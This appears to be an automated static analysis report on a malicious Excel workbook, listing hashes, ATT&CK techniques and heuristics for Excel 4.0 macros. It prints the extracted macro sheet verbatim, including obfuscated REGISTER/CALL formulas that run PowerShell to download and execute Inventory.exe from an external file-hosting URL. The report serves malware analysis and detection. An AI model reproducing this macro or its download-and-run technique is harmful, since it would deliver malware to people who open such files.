Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1822fbb5b086e990…

MALICIOUS

Office (OOXML)

82.5 KB Created: 2021-08-26 06:04:04 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-02
MD5: 16e5591444e8bdec89036ad552dad30a SHA-1: 0ffc02a4dbc03e8d25acf09abf08b4fe6fd45976 SHA-256: 1822fbb5b086e990e5e244790075bfe1dabc2f1dda0a5ba4d7ffbf965126e2da
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros, specifically using the `CALL` and `REGISTER` functions to execute arbitrary code. The macro attempts to download a file named 'Inventory.exe' from the URL 'https://cdn-133.anonfiles.com/Z0Mdc6Q4u8/02f29387-1635071434/Inventory.exe' using PowerShell and then execute it. This indicates a downloader or droppper functionality.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: CALL, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cdn-133.anonfiles.com/Z0Mdc6Q4u8/02f29387-1635071434/Inventory.exe In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1948 bytes
SHA-256: 5558c375a10045852a02b067b0c170244233da60c1d290c3c358800f855f5595
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{9CD841AF-7DAD-4699-8487-FF4907CD15A2}"><dimension ref="E7:E9"/><sheetViews><sheetView showFormulas="1" topLeftCell="AAA1" workbookViewId="0"><selection activeCell="E9" sqref="E9"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="702" width="0" hidden="1" customWidth="1"/></cols><sheetData><row r="7" spans="5:5" x14ac:dyDescent="0.25"><c r="E7" t="b"><f bx="1">fff=REGISTER.ID("She"&amp;"ll32","Shel"&amp;"lExe"&amp;"cuteA","JJC"&amp;"CCJJ")</f><v>0</v></c></row><row r="8" spans="5:5" x14ac:dyDescent="0.25"><c r="E8" t="e"><f>CALL(fff,0,"open","powe"&amp;"rsh"&amp;"ell","-nop [Net.Servic"&amp;"ePointManager]::SecurityPr"&amp;"otocol = [Net.SecurityP"&amp;"rotocolType]::Tl"&amp;"s12;Inv"&amp;"oke-WebR"&amp;"equest -Uri https://cdn-133.anonfiles.com/Z0Mdc6Q4u8/02f29387-1635071434/Inventory.exe -OutFile $env:public\Inventory.exe;explorer $env:public\Inventory.exe",0,0)</f><v>#NAME?</v></c></row><row r="9" spans="5:5" x14ac:dyDescent="0.25"><c r="E9" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>